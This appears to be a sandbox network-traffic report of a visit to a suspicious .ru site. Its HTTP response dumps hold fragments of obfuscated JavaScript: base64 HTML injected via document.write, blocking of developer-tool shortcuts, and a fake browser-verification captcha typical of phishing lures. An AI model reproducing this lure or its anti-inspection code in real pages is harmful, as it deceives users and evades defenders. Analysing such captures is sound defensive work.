Dec 29, 2024 17:00:48.144521952 CET	56410	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:48.144689083 CET	51657	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:48.282664061 CET	53	56410	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:48.284440994 CET	53	51657	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:48.407643080 CET	52432	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:48.407787085 CET	54918	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:48.408963919 CET	52590	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:48.409149885 CET	50158	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:48.470515966 CET	61873	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:48.470724106 CET	54181	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:48.547007084 CET	53	52432	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:48.548592091 CET	53	52590	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:48.549025059 CET	53	50158	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:48.609822989 CET	53	61873	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:48.610557079 CET	53	54181	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:48.611171961 CET	63637	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:48.625639915 CET	53	54918	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:48.749555111 CET	53	63637	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:49.241197109 CET	63971	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:49.241522074 CET	65005	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:49.379652977 CET	53	63971	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:49.395992994 CET	53	65005	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:49.842029095 CET	49792	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:49.842209101 CET	59247	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:49.983875990 CET	53	59247	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:50.134784937 CET	55024	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:50.135196924 CET	49370	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:50.274085045 CET	53	49370	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:50.342063904 CET	49307	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:50.342303991 CET	53180	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:50.395818949 CET	54857	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:50.396019936 CET	58141	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:50.476321936 CET	59540	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:50.476589918 CET	50752	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:50.538296938 CET	53	58141	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:50.538383007 CET	53	54857	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:50.616164923 CET	53	50752	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:50.684204102 CET	53	59540	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:51.050707102 CET	51280	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:51.050843000 CET	49582	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:51.190207958 CET	53	49582	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:51.203483105 CET	53	51280	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:51.875703096 CET	50539	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:51.875962019 CET	61985	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:51.987382889 CET	50025	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:51.987911940 CET	64918	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:52.014584064 CET	53	61985	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:52.015788078 CET	53	50539	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:52.125780106 CET	53	50025	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:52.127115011 CET	53	64918	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:52.739198923 CET	60227	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:52.740081072 CET	57024	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:52.746592999 CET	53493	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:52.746769905 CET	62013	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:52.792809010 CET	53	59586	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:52.877405882 CET	53	60227	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:52.878071070 CET	53	57024	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:53.235413074 CET	56186	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:53.235641003 CET	52858	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:58.078681946 CET	59410	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:58.078891039 CET	53970	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:01:11.772522926 CET	64484	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:01:11.772522926 CET	50149	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:01:11.983506918 CET	53	50149	1.1.1.1	192.168.2.4
Dec 29, 2024 17:01:11.999320984 CET	53	64484	1.1.1.1	192.168.2.4
Dec 29, 2024 17:01:13.991931915 CET	59403	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:01:13.992319107 CET	61813	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:01:14.140026093 CET	53	59403	1.1.1.1	192.168.2.4
Dec 29, 2024 17:01:14.140820980 CET	53	61813	1.1.1.1	192.168.2.4
Dec 29, 2024 17:01:16.982752085 CET	53	64659	1.1.1.1	192.168.2.4
Dec 29, 2024 17:01:32.364285946 CET	54931	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:01:32.503081083 CET	53	54931	1.1.1.1	192.168.2.4
Dec 29, 2024 17:01:54.375410080 CET	49656	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:01:54.518073082 CET	53	49656	1.1.1.1	192.168.2.4

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 29, 2024 16:59:35.142854929 CET	192.168.2.4	1.1.1.1	c2a3	(Port unreachable)	Destination Unreachable
Dec 29, 2024 16:59:57.434828043 CET	192.168.2.4	1.1.1.1	c284	(Port unreachable)	Destination Unreachable
Dec 29, 2024 17:00:02.804174900 CET	192.168.2.4	1.1.1.1	c22f	(Port unreachable)	Destination Unreachable
Dec 29, 2024 17:00:12.844044924 CET	192.168.2.4	1.1.1.1	c2c1	(Port unreachable)	Destination Unreachable
Dec 29, 2024 17:00:20.846760988 CET	192.168.2.4	1.1.1.1	c2ad	(Port unreachable)	Destination Unreachable
Dec 29, 2024 17:00:33.579732895 CET	192.168.2.4	1.1.1.1	c351	(Port unreachable)	Destination Unreachable
Dec 29, 2024 17:00:35.617660046 CET	192.168.2.4	1.1.1.1	c23a	(Port unreachable)	Destination Unreachable
Dec 29, 2024 17:00:37.131194115 CET	192.168.2.4	1.1.1.1	c324	(Port unreachable)	Destination Unreachable
Dec 29, 2024 17:00:39.862803936 CET	192.168.2.4	1.1.1.1	c281	(Port unreachable)	Destination Unreachable
Dec 29, 2024 17:00:47.642396927 CET	192.168.2.4	1.1.1.1	c2bb	(Port unreachable)	Destination Unreachable
Dec 29, 2024 17:00:48.625693083 CET	192.168.2.4	1.1.1.1	c241	(Port unreachable)	Destination Unreachable
Dec 29, 2024 17:00:50.802489042 CET	192.168.2.4	1.1.1.1	c274	(Port unreachable)	Destination Unreachable
Dec 29, 2024 17:00:59.057656050 CET	192.168.2.4	1.1.1.1	c3c3	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
2024-12-29 15:59:02 UTC	659	OUT	GET /mbbhx7U/ HTTP/1.1 Host: rjwc1sic.olistraket.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 15:59:03 UTC	1250	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 15:59:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ksg9u%2B5ytQVV6hI7ae%2B4oyaI7IVumT1boFan%2FYCGtsZMiAskqmg%2BX18k7B5kBz1feioSgTpvxzep4L7EMlscrlxdwp%2BbIVc3ViBo5fULPR%2FNKrVXwQmQG66kCSvzOg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=71849&min_rtt=71839&rtt_var=26960&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1563&delivery_rate=39599&cwnd=242&unsent_bytes=0&cid=e1cbb31ed70df353&ts=415&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InRLOTh4Q2ZnSHRPa09DazBxa3JSM2c9PSIsInZhbHVlIjoiZHBaSUdENlNjdHBjbGV0bFd2RGw4d1g4NXNkd0pNTi9HYVQzSEZMbHhibkZ1ZEQ2M285SVBEK1pqZ0hFRmY0Sk12OVZvY3E3UnRVYis5b1RzcjF3ODJhNHVvZ01YSldFZHluNmh3UkVCb2JLTWFpWGtzeGV1OHArS0lNN1RMcGsiLCJtYWMiOiIwNWZhNTU0OTJjZTEwMmQzOTMwNGM2Yjg4ZmVhOGJlMmNkODViNTFjMmRhNzhmMDU4OGE2ZTk1OGJlNDRlNTYyIiwidGFnIjoiIn0%3D; expires=Sun, 29-Dec-2024 17:59:03 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-12-29 15:59:03 UTC	733	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 68 7a 52 31 52 5a 54 7a 67 31 63 55 63 7a 54 31 49 34 53 46 6c 5a 55 48 5a 43 61 31 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 61 56 45 32 51 54 42 74 53 57 4e 73 55 48 6c 73 56 48 46 46 57 57 70 6c 57 57 4e 79 54 45 78 5a 57 54 63 79 4d 6d 67 33 64 53 74 35 54 47 52 30 65 56 4e 34 5a 6c 67 7a 4d 7a 46 44 5a 30 52 74 54 32 34 7a 57 44 52 78 4d 55 4e 7a 51 31 5a 6b 5a 6e 59 32 54 48 70 6e 63 69 74 32 53 55 74 75 54 6c 46 59 55 69 74 48 59 31 6c 6f 54 58 5a 4a 56 6b 46 70 4f 58 5a 58 4d 58 4e 6e 62 31 6c 51 51 57 46 48 53 33 42 31 4f 47 70 6f 52 55 78 61 53 54 6b 33 55 6d 68 56 65 47 39 54 4b 32 46 4a 64 6b 39 6d 5a 31 68 55 62 6e 6b Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlhzR1RZTzg1cUczT1I4SFlZUHZCa1E9PSIsInZhbHVlIjoiaVE2QTBtSWNsUHlsVHFFWWplWWNyTExZWTcyMmg3dSt5TGR0eVN4ZlgzMzFDZ0RtT24zWDRxMUNzQ1ZkZnY2THpncit2SUtuTlFYUitHY1loTXZJVkFpOXZXMXNnb1lQQWFHS3B1OGpoRUxaSTk3UmhVeG9TK2FJdk9mZ1hUbnk
2024-12-29 15:59:03 UTC	1369	IN	Data Raw: 34 64 38 35 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 2f 2a 20 59 6f 75 72 20 74 69 6d 65 20 69 73 20 6c 69 6d 69 74 65 64 2c 20 64 6f 6e 26 23 30 33 39 3b 74 20 77 61 73 74 65 20 69 74 20 6c 69 76 69 6e 67 20 73 6f 6d 65 6f 6e 65 20 65 6c 73 65 26 23 30 33 39 3b 73 20 6c 69 66 65 2e 20 2a 2f 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 52 56 6d 39 5a 4c 6d 39 73 61 58 4e 30 63 6d 46 72 5a 58 51 75 63 6e 55 76 62 57 4a 69 61 48 67 33 56 53 38 3d 22 29 20 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 57 Data Ascii: 4d85<script>/* Your time is limited, don't waste it living someone else's life. */if(atob("aHR0cHM6Ly9RVm9ZLm9saXN0cmFrZXQucnUvbWJiaHg3VS8=") == "nomatch"){document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW
2024-12-29 15:59:03 UTC	1369	IN	Data Raw: 5a 57 30 37 66 51 30 4b 49 33 56 7a 56 31 4a 43 63 46 4a 4c 55 48 6f 75 59 32 46 77 64 47 4e 6f 59 53 31 6a 62 32 35 30 59 57 6c 75 5a 58 4a 37 63 47 39 7a 61 58 52 70 62 32 34 36 49 48 4a 6c 62 47 46 30 61 58 5a 6c 4f 33 52 76 63 44 6f 67 4d 54 49 32 63 48 67 37 4c 79 70 33 61 57 52 30 61 44 6f 67 4d 54 41 77 4a 54 73 71 4c 33 42 68 5a 47 52 70 62 6d 63 74 63 6d 6c 6e 61 48 51 36 49 48 5a 68 63 69 67 74 4c 57 4a 7a 4c 57 64 31 64 48 52 6c 63 69 31 34 4c 43 41 75 4e 7a 56 79 5a 57 30 70 4f 33 42 68 5a 47 52 70 62 6d 63 74 62 47 56 6d 64 44 6f 67 64 6d 46 79 4b 43 30 74 59 6e 4d 74 5a 33 56 30 64 47 56 79 4c 58 67 73 49 43 34 33 4e 58 4a 6c 62 53 6b 37 62 57 46 79 5a 32 6c 75 4c 58 4a 70 5a 32 68 30 4f 69 42 68 64 58 52 76 4f 32 31 68 63 6d 64 70 62 69 31 Data Ascii: ZW07fQ0KI3VzV1JCcFJLUHouY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTI2cHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbGVmdDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7bWFyZ2luLXJpZ2h0OiBhdXRvO21hcmdpbi1
2024-12-29 15:59:03 UTC	1369	IN	Data Raw: 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 6c 64 6d 56 75 64 43 35 77 63 6d 56 32 5a 57 35 30 52 47 56 6d 59 58 56 73 64 43 67 70 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 79 5a 58 52 31 63 6d 34 67 5a 6d 46 73 63 32 55 37 44 51 6f 67 49 43 41 67 66 51 30 4b 44 51 6f 67 49 43 41 67 61 57 59 67 4b 41 30 4b 49 43 41 67 49 43 41 67 49 43 41 6f 5a 58 5a 6c 62 6e 51 75 59 33 52 79 62 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 72 5a 58 6c 44 62 32 52 6c 49 44 30 39 50 53 41 34 4e 53 6b 67 66 48 77 4e 43 69 41 67 49 43 41 67 49 43 41 67 4b 47 56 32 5a 57 35 30 4c 6d 4e 30 63 6d 78 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 63 32 68 70 5a 6e 52 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 Data Ascii: w0KICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0g
2024-12-29 15:59:03 UTC	1369	IN	Data Raw: 52 6c 59 6e 56 6e 5a 32 56 79 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 6a 62 32 35 7a 64 43 42 6d 54 48 5a 61 55 45 6c 76 61 47 4e 35 49 44 30 67 63 47 56 79 5a 6d 39 79 62 57 46 75 59 32 55 75 62 6d 39 33 4b 43 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 6c 6d 49 43 68 6d 54 48 5a 61 55 45 6c 76 61 47 4e 35 49 43 30 67 62 56 56 6e 55 58 6c 69 64 6d 4e 32 5a 43 41 2b 49 47 4e 6b 51 6d 46 74 56 33 4e 52 5a 45 6b 67 4a 69 59 67 49 55 46 58 57 6d 35 6d 57 6b 31 34 65 6e 4d 70 49 48 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 46 6c 50 54 6d 5a 4c 61 6d 46 56 61 48 45 67 50 53 42 30 63 6e 56 6c 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 51 56 64 61 62 6d 5a 61 54 58 68 36 63 79 41 39 49 48 52 79 64 57 55 37 44 51 6f 67 49 Data Ascii: RlYnVnZ2VyOw0KICAgICAgICBjb25zdCBmTHZaUElvaGN5ID0gcGVyZm9ybWFuY2Uubm93KCk7DQogICAgICAgIGlmIChmTHZaUElvaGN5IC0gbVVnUXlidmN2ZCA+IGNkQmFtV3NRZEkgJiYgIUFXWm5mWk14enMpIHsNCiAgICAgICAgICAgIFlPTmZLamFVaHEgPSB0cnVlOw0KICAgICAgICAgICAgQVdabmZaTXh6cyA9IHRydWU7DQogI
2024-12-29 15:59:03 UTC	1369	IN	Data Raw: 73 64 47 52 6b 59 58 52 68 49 69 42 75 59 57 31 6c 50 53 4a 69 62 48 52 6b 5a 47 46 30 59 53 49 67 64 6d 46 73 64 57 55 39 49 69 49 2b 44 51 6f 38 4c 32 5a 76 63 6d 30 2b 44 51 6f 38 4c 32 52 70 64 6a 34 4e 43 6a 78 6b 61 58 59 67 59 32 78 68 63 33 4d 39 49 6e 52 6c 65 48 51 74 59 32 56 75 64 47 56 79 49 69 42 70 5a 44 30 69 52 6d 6c 4e 57 6e 4a 78 62 33 52 68 59 69 49 2b 44 51 70 46 62 6e 4e 31 63 6d 6c 75 5a 79 42 7a 5a 57 4e 31 63 6d 55 67 59 57 4e 6a 5a 58 4e 7a 49 47 4a 35 49 48 5a 6c 63 6d 6c 6d 65 57 6c 75 5a 79 42 35 62 33 56 79 49 47 4a 79 62 33 64 7a 5a 58 49 75 44 51 6f 38 4c 32 52 70 64 6a 34 4e 43 6a 77 76 5a 6d 39 79 62 54 34 4e 43 6a 77 76 5a 47 6c 32 50 67 30 4b 50 43 39 6b 61 58 59 2b 44 51 6f 38 4c 32 52 70 64 6a 34 4e 43 6a 78 7a 59 33 Data Ascii: sdGRkYXRhIiBuYW1lPSJibHRkZGF0YSIgdmFsdWU9IiI+DQo8L2Zvcm0+DQo8L2Rpdj4NCjxkaXYgY2xhc3M9InRleHQtY2VudGVyIiBpZD0iRmlNWnJxb3RhYiI+DQpFbnN1cmluZyBzZWN1cmUgYWNjZXNzIGJ5IHZlcmlmeWluZyB5b3VyIGJyb3dzZXIuDQo8L2Rpdj4NCjwvZm9ybT4NCjwvZGl2Pg0KPC9kaXY+DQo8L2Rpdj4NCjxzY3
2024-12-29 15:59:03 UTC	1369	IN	Data Raw: 5a 45 4a 31 4b 51 30 4b 49 43 41 67 49 48 30 70 4c 6e 52 6f 5a 57 34 6f 63 6d 56 7a 63 47 39 75 63 32 55 67 50 54 34 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 79 5a 58 52 31 63 6d 34 67 63 6d 56 7a 63 47 39 75 63 32 55 75 61 6e 4e 76 62 69 67 70 4f 77 30 4b 49 43 41 67 49 48 30 70 4c 6e 52 6f 5a 57 34 6f 5a 47 46 30 59 53 41 39 50 69 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 6c 6d 4b 47 52 68 64 47 46 62 4a 33 4e 30 59 58 52 31 63 79 64 64 49 44 30 39 49 43 64 7a 64 57 4e 6a 5a 58 4e 7a 4a 79 6c 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 6c 6d 4b 46 6c 50 54 6d 5a 4c 61 6d 46 56 61 48 45 67 50 54 30 67 5a 6d 46 73 63 32 55 70 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 73 62 32 4e 68 64 47 6c 76 62 69 35 79 5a 57 78 76 59 57 51 6f 4b 54 73 Data Ascii: ZEJ1KQ0KICAgIH0pLnRoZW4ocmVzcG9uc2UgPT4gew0KICAgICAgICByZXR1cm4gcmVzcG9uc2UuanNvbigpOw0KICAgIH0pLnRoZW4oZGF0YSA9PiB7DQogICAgICAgIGlmKGRhdGFbJ3N0YXR1cyddID09ICdzdWNjZXNzJyl7DQogICAgICAgIGlmKFlPTmZLamFVaHEgPT0gZmFsc2Upew0KICAgICAgICBsb2NhdGlvbi5yZWxvYWQoKTs
2024-12-29 15:59:03 UTC	1369	IN	Data Raw: 6f 6e 2e 70 61 74 68 6e 61 6d 65 2e 73 70 6c 69 74 28 27 25 32 33 27 29 5b 30 5d 2e 73 70 6c 69 74 28 27 25 33 46 27 29 5b 30 5d 3b 0d 0a 69 66 20 28 6e 76 4f 56 56 58 57 6a 72 72 2e 70 61 74 68 6e 61 6d 65 2e 65 6e 64 73 57 69 74 68 28 27 2f 27 29 29 20 7b 0d 0a 6e 76 4f 56 56 58 57 6a 72 72 2e 70 61 74 68 6e 61 6d 65 20 3d 20 6e 76 4f 56 56 58 57 6a 72 72 2e 70 61 74 68 6e 61 6d 65 2e 73 6c 69 63 65 28 30 2c 20 2d 31 29 3b 0d 0a 7d 0d 0a 63 6f 6e 73 74 20 5a 70 70 44 6a 43 65 63 6f 56 20 3d 20 6e 76 4f 56 56 58 57 6a 72 72 2e 70 61 74 68 6e 61 6d 65 2b 27 2f 27 3b 0d 0a 69 66 28 5a 70 70 44 6a 43 65 63 6f 56 20 3d 3d 20 52 77 77 63 6e 75 53 67 59 6d 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 Data Ascii: on.pathname.split('%23')[0].split('%3F')[0];if (nvOVVXWjrr.pathname.endsWith('/')) {nvOVVXWjrr.pathname = nvOVVXWjrr.pathname.slice(0, -1);}const ZppDjCecoV = nvOVVXWjrr.pathname+'/';if(ZppDjCecoV == RwwcnuSgYm){document.write(decodeURICompone
2024-12-29 15:59:03 UTC	1369	IN	Data Raw: 4a 77 55 6b 74 51 65 69 42 77 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 4d 44 74 74 59 58 4a 6e 61 57 34 74 59 6d 39 30 64 47 39 74 4f 6a 46 79 5a 57 30 37 66 51 30 4b 49 33 56 7a 56 31 4a 43 63 46 4a 4c 55 48 6f 75 59 32 46 77 64 47 4e 6f 59 53 31 6a 62 32 35 30 59 57 6c 75 5a 58 4a 37 63 47 39 7a 61 58 52 70 62 32 34 36 49 48 4a 6c 62 47 46 30 61 58 5a 6c 4f 33 52 76 63 44 6f 67 4d 54 49 32 63 48 67 37 4c 79 70 33 61 57 52 30 61 44 6f 67 4d 54 41 77 4a 54 73 71 4c 33 42 68 5a 47 52 70 62 6d 63 74 63 6d 6c 6e 61 48 51 36 49 48 5a 68 63 69 67 74 4c 57 4a 7a 4c 57 64 31 64 48 52 6c 63 69 31 34 4c 43 41 75 4e 7a 56 79 5a 57 30 70 4f 33 42 68 5a 47 52 70 62 6d 63 74 62 47 56 6d 64 44 6f 67 64 6d 46 79 4b 43 30 74 59 6e 4d 74 5a 33 56 30 64 47 56 79 4c Data Ascii: JwUktQeiBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI3VzV1JCcFJLUHouY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTI2cHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbGVmdDogdmFyKC0tYnMtZ3V0dGVyL
2024-12-29 15:59:03 UTC	1369	IN	Data Raw: 30 4b 53 42 37 44 51 6f 67 49 43 41 67 61 57 59 67 4b 47 56 32 5a 57 35 30 4c 6d 74 6c 65 55 4e 76 5a 47 55 67 50 54 30 39 49 44 45 79 4d 79 6b 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 6c 64 6d 56 75 64 43 35 77 63 6d 56 32 5a 57 35 30 52 47 56 6d 59 58 56 73 64 43 67 70 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 79 5a 58 52 31 63 6d 34 67 5a 6d 46 73 63 32 55 37 44 51 6f 67 49 43 41 67 66 51 30 4b 44 51 6f 67 49 43 41 67 61 57 59 67 4b 41 30 4b 49 43 41 67 49 43 41 67 49 43 41 6f 5a 58 5a 6c 62 6e 51 75 59 33 52 79 62 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 72 5a 58 6c 44 62 32 52 6c 49 44 30 39 50 53 41 34 4e 53 6b 67 66 48 77 4e 43 69 41 67 49 43 41 67 49 43 41 67 4b 47 56 32 5a 57 35 30 4c 6d 4e 30 63 6d 78 4c 5a 58 6b 67 4a 69 Data Ascii: 0KSB7DQogICAgaWYgKGV2ZW50LmtleUNvZGUgPT09IDEyMykgew0KICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJi

Timestamp	Bytes transferred	Direction	Data
2024-12-29 15:59:05 UTC	656	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://rjwc1sic.olistraket.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 15:59:05 UTC	962	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 15:59:05 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 353693 Expires: Fri, 19 Dec 2025 15:59:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X%2FsBM6hKaMRwsbICPemoDYjZvXDtZPnjZ1pTJ1ZNS8rLU00V7Bd6u6d%2BetAKBHRQliFAvsM0mGhoGCS%2BMam84b5pksglitGN%2F5Ks7E9m3BECRVhnRqoRvVlbpWD1hADXo%2FPzn35F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f9afeccb8795e82-EWR alt-svc: h3=":443"; ma=86400
